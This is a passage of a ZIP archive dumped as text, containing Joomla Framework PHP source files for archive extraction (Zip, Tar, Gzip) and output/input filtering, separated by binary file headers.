string * @since 1.0 */ private $data; /** * ZIP file metadata array * * @var array * @since 1.0 */ private $metadata; /** * Holds the options array. * * @var array|\ArrayAccess * @since 1.0 */ protected $options = array(); /** * Create a new Archive object. * * @param array|\ArrayAccess $options An array of options or an object that implements \ArrayAccess * * @since 1.0 * @throws \InvalidArgumentException */ public function __construct($options = array()) { if (!\is_array($options) && !($options instanceof \ArrayAccess)) { throw new \InvalidArgumentException( 'The options param must be an array or implement the ArrayAccess interface.' ); } $this->options = $options; } /** * Create a ZIP compressed file from an array of file data. * * @param string $archive Path to save archive. * @param array $files Array of files to add to archive. * * @return boolean True if successful. * * @since 1.0 * @todo Finish Implementation */ public function create($archive, $files) { $contents = array(); $ctrldir = array(); foreach ($files as $file) { $this->addToZipFile($file, $contents, $ctrldir); } return $this->createZipFile($contents, $ctrldir, $archive); } /** * Extract a ZIP compressed file to a given path * * @param string $archive Path to ZIP archive to extract * @param string $destination Path to extract archive into * * @return boolean True if successful * * @since 1.0 * @throws \RuntimeException */ public function extract($archive, $destination) { if (!is_file($archive)) { throw new \RuntimeException('Archive does not exist at ' . $archive); } if (static::hasNativeSupport()) { return $this->extractNative($archive, $destination); } return $this->extractCustom($archive, $destination); } /** * Tests whether this adapter can unpack files on this computer. * * @return boolean True if supported * * @since 1.0 */ public static function isSupported() { return self::hasNativeSupport() || \extension_loaded('zlib'); } /** * Method to determine if the server has native zip support for faster handling * * @return boolean True if php has native ZIP support * * @since 1.0 */ public static function hasNativeSupport() { return \extension_loaded('zip'); } /** * Checks to see if the data is a valid ZIP file. * * @param string $data ZIP archive data buffer. * * @return boolean True if valid, false if invalid. * * @since 1.0 */ public function checkZipData($data) { return strpos($data, $this->fileHeader) !== false; } /** * Extract a ZIP compressed file to a given path using a php based algorithm that only requires zlib support * * @param string $archive Path to ZIP archive to extract. * @param string $destination Path to extract archive into. * * @return boolean True if successful * * @since 1.0 * @throws \RuntimeException */ protected function extractCustom($archive, $destination) { $this->metadata = null; $this->data = file_get_contents($archive); if (!$this->data) { throw new \RuntimeException('Unable to read archive'); } if (!$this->readZipInfo($this->data)) { throw new \RuntimeException('Get ZIP Information failed'); } foreach ($this->metadata as $i => $metadata) { $lastPathCharacter = substr($metadata['name'], -1, 1); if ($lastPathCharacter !== '/' && $lastPathCharacter !== '\\') { $buffer = $this->getFileData($i); $path = Path::clean($destination . '/' . $metadata['name']); if (!$this->isBelow($destination, $path)) { throw new \OutOfBoundsException('Unable to write outside of destination path', 100); } // Make sure the destination folder exists if (!Folder::create(\dirname($path))) { throw new \RuntimeException('Unable to create destination folder'); } if (!File::write($path, $buffer)) { throw new \RuntimeException('Unable to write file'); } } } return true; } /** * Extract a ZIP compressed file to a given path using native php api calls for speed * * @param string $archive Path to ZIP archive to extract * @param string $destination Path to extract archive into * * @return boolean True on success * * @throws \RuntimeException * @since 1.0 */ protected function extractNative($archive, $destination) { $zip = new \ZipArchive; if ($zip->open($archive) !== true) { throw new \RuntimeException('Unable to open archive'); } // Make sure the destination folder exists if (!Folder::create($destination)) { throw new \RuntimeException('Unable to create destination folder ' . \dirname($destination)); } // Read files in the archive for ($index = 0; $index < $zip->numFiles; $index++) { $file = $zip->getNameIndex($index); if (substr($file, -1) === '/') { continue; } $buffer = $zip->getFromIndex($index); if ($buffer === false) { throw new \RuntimeException('Unable to read ZIP entry'); } if (!$this->isBelow($destination, $destination . '/' . $file)) { throw new \RuntimeException('Unable to write outside of destination path', 100); } if (File::write($destination . '/' . $file, $buffer) === false) { throw new \RuntimeException('Unable to write ZIP entry to file ' . $destination . '/' . $file); } } $zip->close(); return true; } /** * Get the list of files/data from a ZIP archive buffer. * * <pre> * KEY: Position in zipfile * VALUES: 'attr' -- File attributes * 'crc' -- CRC checksum * 'csize' -- Compressed file size * 'date' -- File modification time * 'name' -- Filename * 'method'-- Compression method * 'size' -- Original file size * 'type' -- File type * </pre> * * @param string $data The ZIP archive buffer. * * @return boolean True on success * * @since 1.0 * @throws \RuntimeException */ private function readZipInfo($data) { $entries = array(); // Find the last central directory header entry $fhLast = strpos($data, $this->ctrlDirEnd); do { $last = $fhLast; } while (($fhLast = strpos($data, $this->ctrlDirEnd, $fhLast + 1)) !== false); // Find the central directory offset $offset = 0; if ($last) { $endOfCentralDirectory = unpack( 'vNumberOfDisk/vNoOfDiskWithStartOfCentralDirectory/vNoOfCentralDirectoryEntriesOnDisk/' . 'vTotalCentralDirectoryEntries/VSizeOfCentralDirectory/VCentralDirectoryOffset/vCommentLength', substr($data, $last + 4) ); $offset = $endOfCentralDirectory['CentralDirectoryOffset']; } // Get details from central directory structure. $fhStart = strpos($data, $this->ctrlDirHeader, $offset); $dataLength = \strlen($data); do { if ($dataLength < $fhStart + 31) { throw new \RuntimeException('Invalid ZIP Data'); } $info = unpack('vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength', substr($data, $fhStart + 10, 20)); $name = substr($data, $fhStart + 46, $info['Length']); $entries[$name] = array( 'attr' => null, 'crc' => sprintf('%08s', dechex($info['CRC32'])), 'csize' => $info['Compressed'], 'date' => null, '_dataStart' => null, 'name' => $name, 'method' => $this->methods[$info['Method']], '_method' => $info['Method'], 'size' => $info['Uncompressed'], 'type' => null, ); $entries[$name]['date'] = mktime( ($info['Time'] >> 11) & 0x1f, ($info['Time'] >> 5) & 0x3f, ($info['Time'] << 1) & 0x3e, ($info['Time'] >> 21) & 0x07, ($info['Time'] >> 16) & 0x1f, (($info['Time'] >> 25) & 0x7f) + 1980 ); if ($dataLength < $fhStart + 43) { throw new \RuntimeException('Invalid ZIP data'); } $info = unpack('vInternal/VExternal/VOffset', substr($data, $fhStart + 36, 10)); $entries[$name]['type'] = ($info['Internal'] & 0x01) ? 'text' : 'binary'; $entries[$name]['attr'] = (($info['External'] & 0x10) ? 'D' : '-') . (($info['External'] & 0x20) ? 'A' : '-') . (($info['External'] & 0x03) ? 'S' : '-') . (($info['External'] & 0x02) ? 'H' : '-') . (($info['External'] & 0x01) ? 'R' : '-'); $entries[$name]['offset'] = $info['Offset']; // Get details from local file header since we have the offset $lfhStart = strpos($data, $this->fileHeader, $entries[$name]['offset']); if ($dataLength < $lfhStart + 34) { throw new \RuntimeException('Invalid ZIP Data'); } $info = unpack( 'vMethod/VTime/VCRC32/VCompressed/VUncompressed/vLength/vExtraLength', substr($data, $lfhStart + 8, 25) ); $name = substr($data, $lfhStart + 30, $info['Length']); $entries[$name]['_dataStart'] = $lfhStart + 30 + $info['Length'] + $info['ExtraLength']; // Bump the max execution time because not using the built in php zip libs makes this process slow. @set_time_limit(ini_get('max_execution_time')); } while (($fhStart = strpos($data, $this->ctrlDirHeader, $fhStart + 46)) !== false); $this->metadata = array_values($entries); return true; } /** * Returns the file data for a file by offset in the ZIP archive * * @param integer $key The position of the file in the archive. * * @return string Uncompressed file data buffer. * * @since 1.0 */ private function getFileData($key) { if ($this->metadata[$key]['_method'] == 0x8) { return gzinflate(substr($this->data, $this->metadata[$key]['_dataStart'], $this->metadata[$key]['csize'])); } if ($this->metadata[$key]['_method'] == 0x0) { // Files that aren't compressed. return substr($this->data, $this->metadata[$key]['_dataStart'], $this->metadata[$key]['csize']); } if ($this->metadata[$key]['_method'] == 0x12) { // If bz2 extension is loaded use it if (\extension_loaded('bz2')) { return bzdecompress(substr($this->data, $this->metadata[$key]['_dataStart'], $this->metadata[$key]['csize'])); } } return ''; } /** * Converts a UNIX timestamp to a 4-byte DOS date and time format * (date in high 2-bytes, time in low 2-bytes allowing magnitude * comparison). * * @param integer $unixtime The current UNIX timestamp. * * @return integer The current date in a 4-byte DOS format. * * @since 1.0 */ protected function unix2DosTime($unixtime = null) { $timearray = $unixtime === null ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } /** * Adds a "file" to the ZIP archive. * * @param array $file File data array to add * @param array $contents An array of existing zipped files. * @param array $ctrldir An array of central directory information. * * @return void * * @since 1.0 * @todo Review and finish implementation */ private function addToZipFile(array &$file, array &$contents, array &$ctrldir) { $data = &$file['data']; $name = str_replace('\\', '/', $file['name']); // See if time/date information has been provided. $ftime = null; if (isset($file['time'])) { $ftime = $file['time']; } // Get the hex time. $dtime = dechex($this->unix2DosTime($ftime)); $hexdtime = \chr(hexdec($dtime[6] . $dtime[7])) . \chr(hexdec($dtime[4] . $dtime[5])) . \chr(hexdec($dtime[2] . $dtime[3])) . \chr(hexdec($dtime[0] . $dtime[1])); // Begin creating the ZIP data. $fr = $this->fileHeader; // Version needed to extract. $fr .= "\x14\x00"; // General purpose bit flag. $fr .= "\x00\x00"; // Compression method. $fr .= "\x08\x00"; // Last modification time/date. $fr .= $hexdtime; // "Local file header" segment. $uncLen = \strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr(substr($zdata, 0, -4), 2); $cLen = \strlen($zdata); // CRC 32 information. $fr .= pack('V', $crc); // Compressed filesize. $fr .= pack('V', $cLen); // Uncompressed filesize. $fr .= pack('V', $uncLen); // Length of filename. $fr .= pack('v', \strlen($name)); // Extra field length. $fr .= pack('v', 0); // File name. $fr .= $name; // "File data" segment. $fr .= $zdata; // Add this entry to array. $oldOffset = \strlen(implode('', $contents)); $contents[] = &$fr; // Add to central directory record. $cdrec = $this->ctrlDirHeader; // Version made by. $cdrec .= "\x00\x00"; // Version needed to extract $cdrec .= "\x14\x00"; // General purpose bit flag $cdrec .= "\x00\x00"; // Compression method $cdrec .= "\x08\x00"; // Last mod time/date. $cdrec .= $hexdtime; // CRC 32 information. $cdrec .= pack('V', $crc); // Compressed filesize. $cdrec .= pack('V', $cLen); // Uncompressed filesize. $cdrec .= pack('V', $uncLen); // Length of filename. $cdrec .= pack('v', \strlen($name)); // Extra field length. $cdrec .= pack('v', 0); // File comment length. $cdrec .= pack('v', 0); // Disk number start. $cdrec .= pack('v', 0); // Internal file attributes. $cdrec .= pack('v', 0); // External file attributes -'archive' bit set. $cdrec .= pack('V', 32); // Relative offset of local header. $cdrec .= pack('V', $oldOffset); // File name. $cdrec .= $name; // Save to central directory array. $ctrldir[] = &$cdrec; } /** * Creates the ZIP file. * * Official ZIP file format: http://www.pkware.com/appnote.txt * * @param array $contents An array of existing zipped files. * @param array $ctrlDir An array of central directory information. * @param string $path The path to store the archive. * * @return boolean True if successful * * @since 1.0 * @todo Review and finish implementation */ private function createZipFile(array $contents, array $ctrlDir, $path) { $data = implode('', $contents); $dir = implode('', $ctrlDir); /* * Buffer data: * Total # of entries "on this disk". * Total # of entries overall. * Size of central directory. * Offset to start of central dir. * ZIP file comment length. */ $buffer = $data . $dir . $this->ctrlDirEnd . pack('v', \count($ctrlDir)) . pack('v', \count($ctrlDir)) . pack('V', \strlen($dir)) . pack('V', \strlen($data)) . "\x00\x00"; return File::write($path, $buffer); } /** * Check if a path is below a given destination path * * @param string $destination Root path * @param string $path Path to check * * @return boolean * * @since 1.1.10 */ private function isBelow($destination, $path) { $absoluteRoot = Path::clean(Path::resolve($destination)); $absolutePath = Path::clean(Path::resolve($path)); return strpos($absolutePath, $absoluteRoot) === 0; } } PKÜ�\���33%vendor/joomla/archive/src/Archive.phpnu�[���<?php /** * Part of the Joomla Framework Archive Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Archive; use Joomla\Archive\Exception\UnknownArchiveException; use Joomla\Archive\Exception\UnsupportedArchiveException; use Joomla\Filesystem\File; use Joomla\Filesystem\Folder; /** * An Archive handling class * * @since 1.0 */ class Archive { /** * The array of instantiated archive adapters. * * @var ExtractableInterface[] * @since 1.0 */ protected $adapters = array(); /** * Holds the options array. * * @var array|\ArrayAccess * @since 1.0 */ public $options = array(); /** * Create a new Archive object. * * @param array|\ArrayAccess $options An array of options * * @since 1.0 * @throws \InvalidArgumentException */ public function __construct($options = array()) { if (!\is_array($options) && !($options instanceof \ArrayAccess)) { throw new \InvalidArgumentException( 'The options param must be an array or implement the ArrayAccess interface.' ); } // Make sure we have a tmp directory. isset($options['tmp_path']) || $options['tmp_path'] = realpath(sys_get_temp_dir()); $this->options = $options; } /** * Extract an archive file to a directory. * * @param string $archivename The name of the archive file * @param string $extractdir Directory to unpack into * * @return boolean True for success * * @since 1.0 * @throws UnknownArchiveException if the archive type is not supported */ public function extract($archivename, $extractdir) { $ext = pathinfo($archivename, \PATHINFO_EXTENSION); $path = pathinfo($archivename, \PATHINFO_DIRNAME); $filename = pathinfo($archivename, \PATHINFO_FILENAME); switch (strtolower($ext)) { case 'zip': $result = $this->getAdapter('zip')->extract($archivename, $extractdir); break; case 'tar': $result = $this->getAdapter('tar')->extract($archivename, $extractdir); break; case 'tgz': case 'gz': case 'gzip': // This may just be an individual file (e.g. sql script) $tmpfname = $this->options['tmp_path'] . '/' . uniqid('gzip'); try { $this->getAdapter('gzip')->extract($archivename, $tmpfname); } catch (\RuntimeException $exception) { @unlink($tmpfname); return false; } if ($ext === 'tgz' || stripos($filename, '.tar') !== false) { $result = $this->getAdapter('tar')->extract($tmpfname, $extractdir); } else { Folder::create($extractdir); $result = File::copy($tmpfname, $extractdir . '/' . $filename, null, 0); } @unlink($tmpfname); break; case 'tbz2': case 'bz2': case 'bzip2': // This may just be an individual file (e.g. sql script) $tmpfname = $this->options['tmp_path'] . '/' . uniqid('bzip2'); try { $this->getAdapter('bzip2')->extract($archivename, $tmpfname); } catch (\RuntimeException $exception) { @unlink($tmpfname); return false; } if ($ext === 'tbz2' || stripos($filename, '.tar') !== false) { $result = $this->getAdapter('tar')->extract($tmpfname, $extractdir); } else { Folder::create($extractdir); $result = File::copy($tmpfname, $extractdir . '/' . $filename, null, 0); } @unlink($tmpfname); break; default: throw new UnknownArchiveException(sprintf('Unknown archive type: %s', $ext)); } return $result; } /** * Method to override the provided adapter with your own implementation. * * @param string $type Name of the adapter to set. * @param string|object $class FQCN of your class which implements ExtractableInterface. * @param boolean $override True to force override the adapter type. * * @return Archive This object for chaining. * * @since 1.0 * @throws UnsupportedArchiveException if the adapter type is not supported */ public function setAdapter($type, $class, $override = true) { if ($override || !isset($this->adapters[$type])) { $error = !\is_object($class) && !class_exists($class) ? 'Archive adapter "%s" (class "%s") not found.' : ''; $error = $error == '' && !($class instanceof ExtractableInterface) ? 'The provided adapter "%s" (class "%s") must implement Joomla\\Archive\\ExtractableInterface' : $error; $error = $error == '' && !$class::isSupported() ? 'Archive adapter "%s" (class "%s") not supported.' : $error; if ($error != '') { throw new UnsupportedArchiveException( sprintf($error, $type, $class) ); } $this->adapters[$type] = new $class($this->options); } return $this; } /** * Get a file compression adapter. * * @param string $type The type of adapter (bzip2|gzip|tar|zip). * * @return ExtractableInterface Adapter for the requested type * * @since 1.0 * @throws UnsupportedArchiveException */ public function getAdapter($type) { $type = strtolower($type); if (!isset($this->adapters[$type])) { // Try to load the adapter object /** @var ExtractableInterface $class */ $class = 'Joomla\\Archive\\' . ucfirst($type); if (!class_exists($class) || !$class::isSupported()) { throw new UnsupportedArchiveException( sprintf( 'Archive adapter "%s" (class "%s") not found or supported.', $type, $class ) ); } $this->adapters[$type] = new $class($this->options); } return $this->adapters[$type]; } } PKÜ�\� ��!vendor/joomla/archive/src/Tar.phpnu�[���<?php /** * Part of the Joomla Framework Archive Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Archive; use Joomla\Filesystem\File; use Joomla\Filesystem\Folder; use Joomla\Filesystem\Path; /** * Tar format adapter for the Archive package * * This class is inspired from and draws heavily in code and concept from the Compress package of * The Horde Project <http://www.horde.org> * * @contributor Michael Slusarz <slusarz@horde.org> * @contributor Michael Cochrane <mike@graftonhall.co.nz> * * @since 1.0 */ class Tar implements ExtractableInterface { /** * Tar file types. * * @var array * @since 1.0 */ private $types = array( 0x0 => 'Unix file', 0x30 => 'File', 0x31 => 'Link', 0x32 => 'Symbolic link', 0x33 => 'Character special file', 0x34 => 'Block special file', 0x35 => 'Directory', 0x36 => 'FIFO special file', 0x37 => 'Contiguous file', ); /** * Tar file data buffer * * @var string * @since 1.0 */ private $data; /** * Tar file metadata array * * @var array * @since 1.0 */ private $metadata; /** * Holds the options array. * * @var array|\ArrayAccess * @since 1.0 */ protected $options = array(); /** * Create a new Archive object. * * @param array|\ArrayAccess $options An array of options or an object that implements \ArrayAccess * * @since 1.0 * @throws \InvalidArgumentException */ public function __construct($options = array()) { if (!\is_array($options) && !($options instanceof \ArrayAccess)) { throw new \InvalidArgumentException( 'The options param must be an array or implement the ArrayAccess interface.' ); } $this->options = $options; } /** * Extract a ZIP compressed file to a given path * * @param string $archive Path to ZIP archive to extract * @param string $destination Path to extract archive into * * @return boolean True if successful * * @since 1.0 * @throws \RuntimeException */ public function extract($archive, $destination) { $destination = Path::resolve($destination); $this->metadata = null; $this->data = file_get_contents($archive); if (!$this->data) { throw new \RuntimeException('Unable to read archive'); } $this->getTarInfo($this->data); for ($i = 0, $n = \count($this->metadata); $i < $n; $i++) { $type = strtolower($this->metadata[$i]['type']); if ($type === 'file' || $type === 'unix file') { $buffer = $this->metadata[$i]['data']; $path = Path::clean($destination . '/' . $this->metadata[$i]['name']); if (!$this->isBelow($destination, $path)) { throw new \OutOfBoundsException('Unable to write outside of destination path', 100); } // Make sure the destination folder exists if (!Folder::create(\dirname($path))) { throw new \RuntimeException('Unable to create destination folder ' . \dirname($path)); } if (!File::write($path, $buffer)) { throw new \RuntimeException('Unable to write entry to file ' . $path); } } } return true; } /** * Tests whether this adapter can unpack files on this computer. * * @return boolean True if supported * * @since 1.0 */ public static function isSupported() { return true; } /** * Get the list of files/data from a Tar archive buffer. * * @param string $data The Tar archive buffer. * * @return array Archive metadata array * <pre> * KEY: Position in the array * VALUES: 'attr' -- File attributes * 'data' -- Raw file contents * 'date' -- File modification time * 'name' -- Filename * 'size' -- Original file size * 'type' -- File type * </pre> * * @since 1.0 * @throws \RuntimeException */ protected function getTarInfo(&$data) { $position = 0; $returnArray = array(); while ($position < \strlen($data)) { if (version_compare(\PHP_VERSION, '5.5', '>=')) { $info = @unpack( 'Z100filename/Z8mode/Z8uid/Z8gid/Z12size/Z12mtime/Z8checksum/Ctypeflag' . '/Z100link/Z6magic/Z2version/Z32uname/Z32gname/Z8devmajor/Z8devminor', substr($data, $position) ); } else { $info = @unpack( 'a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/Ctypeflag' . '/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', substr($data, $position) ); } /* * This variable has been set in the previous loop, meaning that the filename was present in the previous block * to allow more than 100 characters - see below */ if (isset($longlinkfilename)) { $info['filename'] = $longlinkfilename; unset($longlinkfilename); } if (!$info) { throw new \RuntimeException('Unable to decompress data'); } $position += 512; $contents = substr($data, $position, octdec($info['size'])); $position += ceil(octdec($info['size']) / 512) * 512; if ($info['filename']) { $file = array( 'attr' => null, 'data' => null, 'date' => octdec($info['mtime']), 'name' => trim($info['filename']), 'size' => octdec($info['size']), 'type' => isset($this->types[$info['typeflag']]) ? $this->types[$info['typeflag']] : null, ); if (($info['typeflag'] == 0) || ($info['typeflag'] == 0x30) || ($info['typeflag'] == 0x35)) { // File or folder. $file['data'] = $contents; $mode = hexdec(substr($info['mode'], 4, 3)); $file['attr'] = (($info['typeflag'] == 0x35) ? 'd' : '-') . (($mode & 0x400) ? 'r' : '-') . (($mode & 0x200) ? 'w' : '-') . (($mode & 0x100) ? 'x' : '-') . (($mode & 0x040) ? 'r' : '-') . (($mode & 0x020) ? 'w' : '-') . (($mode & 0x010) ? 'x' : '-') . (($mode & 0x004) ? 'r' : '-') . (($mode & 0x002) ? 'w' : '-') . (($mode & 0x001) ? 'x' : '-'); } elseif (\chr($info['typeflag']) === 'L' && $info['filename'] === '././@LongLink') { // GNU tar ././@LongLink support - the filename is actually in the contents, set a variable here so we can test in the next loop $longlinkfilename = $contents; // And the file contents are in the next block so we'll need to skip this continue; } $returnArray[] = $file; } } $this->metadata = $returnArray; return true; } /** * Check if a path is below a given destination path * * @param string $destination Root path * @param string $path Path to check * * @return boolean * * @since 1.1.12 */ private function isBelow($destination, $path) { $absoluteRoot = Path::clean(Path::resolve($destination)); $absolutePath = Path::clean(Path::resolve($path)); return strpos($absolutePath, $absoluteRoot) === 0; } } PKÜ�\�e�"vendor/joomla/archive/src/Gzip.phpnu�[���<?php /** * Part of the Joomla Framework Archive Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Archive; use Joomla\Filesystem\File; use Joomla\Filesystem\Stream; /** * Gzip format adapter for the Archive package * * This class is inspired from and draws heavily in code and concept from the Compress package of * The Horde Project <http://www.horde.org> * * @contributor Michael Slusarz <slusarz@horde.org> * @contributor Michael Cochrane <mike@graftonhall.co.nz> * * @since 1.0 */ class Gzip implements ExtractableInterface { /** * Gzip file flags. * * @var array * @since 1.0 */ private $flags = array('FTEXT' => 0x01, 'FHCRC' => 0x02, 'FEXTRA' => 0x04, 'FNAME' => 0x08, 'FCOMMENT' => 0x10); /** * Gzip file data buffer * * @var string * @since 1.0 */ private $data; /** * Holds the options array. * * @var array|\ArrayAccess * @since 1.0 */ protected $options = array(); /** * Create a new Archive object. * * @param array|\ArrayAccess $options An array of options * * @since 1.0 * @throws \InvalidArgumentException */ public function __construct($options = array()) { if (!\is_array($options) && !($options instanceof \ArrayAccess)) { throw new \InvalidArgumentException( 'The options param must be an array or implement the ArrayAccess interface.' ); } $this->options = $options; } /** * Extract a Gzip compressed file to a given path * * @param string $archive Path to ZIP archive to extract * @param string $destination Path to extract archive to * * @return boolean True if successful * * @since 1.0 * @throws \RuntimeException */ public function extract($archive, $destination) { $this->data = null; if (!isset($this->options['use_streams']) || $this->options['use_streams'] == false) { $this->data = file_get_contents($archive); if (!$this->data) { throw new \RuntimeException('Unable to read archive'); } $position = $this->getFilePosition(); $buffer = gzinflate(substr($this->data, $position, \strlen($this->data) - $position)); if (empty($buffer)) { throw new \RuntimeException('Unable to decompress data'); } if (!File::write($destination, $buffer)) { throw new \RuntimeException('Unable to write archive to file ' . $destination); } } else { // New style! streams! $input = Stream::getStream(); // Use gz $input->set('processingmethod', 'gz'); if (!$input->open($archive)) { throw new \RuntimeException('Unable to read archive'); } $output = Stream::getStream(); if (!$output->open($destination, 'w')) { $input->close(); throw new \RuntimeException('Unable to open file "' . $destination . '" for writing'); } do { $this->data = $input->read($input->get('chunksize', 8196)); if ($this->data) { if (!$output->write($this->data)) { $input->close(); throw new \RuntimeException('Unable to write archive to file ' . $destination); } } } while ($this->data); $output->close(); $input->close(); } return true; } /** * Tests whether this adapter can unpack files on this computer. * * @return boolean True if supported * * @since 1.0 */ public static function isSupported() { return \extension_loaded('zlib'); } /** * Get file data offset for archive * * @return integer Data position marker for archive * * @since 1.0 * @throws \RuntimeException */ public function getFilePosition() { // Gzipped file... unpack it first $position = 0; $info = @ unpack('CCM/CFLG/VTime/CXFL/COS', substr($this->data, $position + 2)); if (!$info) { throw new \RuntimeException('Unable to decompress data.'); } $position += 10; if ($info['FLG'] & $this->flags['FEXTRA']) { $XLEN = unpack('vLength', substr($this->data, $position + 0, 2)); $XLEN = $XLEN['Length']; $position += $XLEN + 2; } if ($info['FLG'] & $this->flags['FNAME']) { $filenamePos = strpos($this->data, "\x0", $position); $position = $filenamePos + 1; } if ($info['FLG'] & $this->flags['FCOMMENT']) { $commentPos = strpos($this->data, "\x0", $position); $position = $commentPos + 1; } if ($info['FLG'] & $this->flags['FHCRC']) { $hcrc = unpack('vCRC', substr($this->data, $position + 0, 2)); $hcrc = $hcrc['CRC']; $position += 2; } return $position; } } PKÜ�\��xH��)vendor/joomla/filter/src/OutputFilter.phpnu�[���<?php /** * Part of the Joomla Framework Filter Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filter; use Joomla\Language\Language; use Joomla\String\StringHelper; /** * OutputFilter is a class for processing an output string for "safe" display * * @since 1.0 */ class OutputFilter { /** * Makes an object safe to display in forms. * * Object parameters that are non-string, array, object or start with underscore will be converted * * @param object $mixed An object to be parsed * @param integer $quoteStyle The optional quote style for the htmlspecialchars function * @param mixed $excludeKeys An optional string single field name or array of field names not to be parsed (eg, for a textarea) * * @return void * * @since 1.0 */ public static function objectHtmlSafe(&$mixed, $quoteStyle = \ENT_QUOTES, $excludeKeys = '') { if (\is_object($mixed)) { foreach (get_object_vars($mixed) as $k => $v) { if (\is_array($v) || \is_object($v) || $v == null || substr($k, 1, 1) == '_') { continue; } if (\is_string($excludeKeys) && $k == $excludeKeys) { continue; } if (\is_array($excludeKeys) && \in_array($k, $excludeKeys)) { continue; } $mixed->$k = htmlspecialchars($v, $quoteStyle, 'UTF-8'); } } } /** * Makes a string safe for XHTML output by escaping ampersands in links. * * @param string $input String to process * * @return string Processed string * * @since 1.0 */ public static function linkXhtmlSafe($input) { $regex = 'href="([^"]*(&(amp;){0})[^"]*)*?"'; return preg_replace_callback( "#$regex#i", function ($m) { return preg_replace('#&(?!amp;)#', '&', $m[0]); }, $input ); } /** * Generates a URL safe version of the specified string with language transliteration. * * This method processes a string and replaces all accented UTF-8 characters by unaccented * ASCII-7 "equivalents"; whitespaces are replaced by hyphens and the string is lowercased. * * @param string $string String to process * @param string $language Language to transliterate to * * @return string Processed string * * @since 1.0 */ public static function stringUrlSafe($string, $language = '') { // Remove any '-' from the string since they will be used as concatenaters $str = str_replace('-', ' ', $string); // Transliterate on the language requested (fallback to current language if not specified) $lang = empty($language) ? Language::getInstance() : Language::getInstance($language); $str = $lang->transliterate($str); // Trim white spaces at beginning and end of alias and make lowercase $str = trim(StringHelper::strtolower($str)); // Remove any duplicate whitespace, and ensure all characters are alphanumeric $str = preg_replace('/(\s|[^A-Za-z0-9\-])+/', '-', $str); // Trim dashes at beginning and end of alias $str = trim($str, '-'); return $str; } /** * Generates a URL safe version of the specified string with unicode character replacement. * * @param string $string String to process * * @return string Processed string * * @since 1.0 */ public static function stringUrlUnicodeSlug($string) { // Replace double byte whitespaces by single byte (East Asian languages) $str = preg_replace('/\xE3\x80\x80/', ' ', $string); // Remove any '-' from the string as they will be used as concatenator. // Would be great to let the spaces in but only Firefox is friendly with this $str = str_replace('-', ' ', $str); // Replace forbidden characters by whitespaces $str = preg_replace('#[:\#\*"@+=;!><&\.%()\]\/\'\\\\|\[]#', "\x20", $str); // Delete all '?' $str = str_replace('?', '', $str); // Trim white spaces at beginning and end of alias and make lowercase $str = trim(StringHelper::strtolower($str)); // Remove any duplicate whitespace and replace whitespaces by hyphens $str = preg_replace('#\x20+#', '-', $str); return $str; } /** * Makes a string safe for XHTML output by escaping ampersands. * * @param string $text Text to process * * @return string Processed string. * * @since 1.0 */ public static function ampReplace($text) { return preg_replace('/(?<!&)&(?!&|#|[\w]+;)/', '&', $text); } /** * Cleans text of all formatting and scripting code. * * @param string $text Text to clean * * @return string Cleaned text. * * @since 1.0 */ public static function cleanText(&$text) { $text = preg_replace("'<script[^>]*>.*?</script>'si", '', $text); $text = preg_replace('/<a\s+.*?href="([^"]+)"[^>]*>([^<]+)<\/a>/is', '\2 (\1)', $text); $text = preg_replace('/<!--.+?-->/', '', $text); $text = preg_replace('/{.+?}/', '', $text); $text = preg_replace('/ /', ' ', $text); $text = preg_replace('/&/', ' ', $text); $text = preg_replace('/"/', ' ', $text); $text = strip_tags($text); $text = htmlspecialchars($text, \ENT_COMPAT, 'UTF-8'); return $text; } /** * Strips `<img>` tags from a string. * * @param string $string Sting to be cleaned. * * @return string Cleaned string * * @since 1.0 */ public static function stripImages($string) { return preg_replace('#(<[/]?img.*>)#U', '', $string); } /** * Strips `<iframe>` tags from a string. * * @param string $string Sting to be cleaned. * * @return string Cleaned string * * @since 1.0 */ public static function stripIframes($string) { return preg_replace('#(<[/]?iframe.*>)#U', '', $string); } } PKÜ�\�P4�ww(vendor/joomla/filter/src/InputFilter.phpnu�[���<?php /** * Part of the Joomla Framework Filter Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Filter; use Joomla\String\StringHelper; /** * InputFilter is a class for filtering input from any data source * * Forked from the php input filter library by: Daniel Morris <dan@rootcube.com> * Original Contributors: Gianpaolo Racca, Ghislain Picard, Marco Wandschneider, Chris Tobin and Andrew Eddie. * * @since 1.0 */ class InputFilter { /** * Defines the InputFilter instance should use a whitelist method for sanitising tags. * * @var integer * @since 1.3.0 * @deprecated 2.0 Use the `InputFilter::ONLY_ALLOW_DEFINED_TAGS` constant instead */ const TAGS_WHITELIST = 0; /** * Defines the InputFilter instance should use a blacklist method for sanitising tags. * * @var integer * @since 1.3.0 * @deprecated 2.0 Use the `InputFilter::ONLY_BLOCK_DEFINED_TAGS` constant instead */ const TAGS_BLACKLIST = 1; /** * Defines the InputFilter instance should use a whitelist method for sanitising attributes. * * @var integer * @since 1.3.0 * @deprecated 2.0 Use the `InputFilter::ONLY_ALLOW_DEFINED_ATTRIBUTES` constant instead */ const ATTR_WHITELIST = 0; /** * Defines the InputFilter instance should use a blacklist method for sanitising attributes. * * @var integer * @since 1.3.0 * @deprecated 2.0 Use the `InputFilter::ONLY_BLOCK_DEFINED_ATTRIBUTES` constant instead 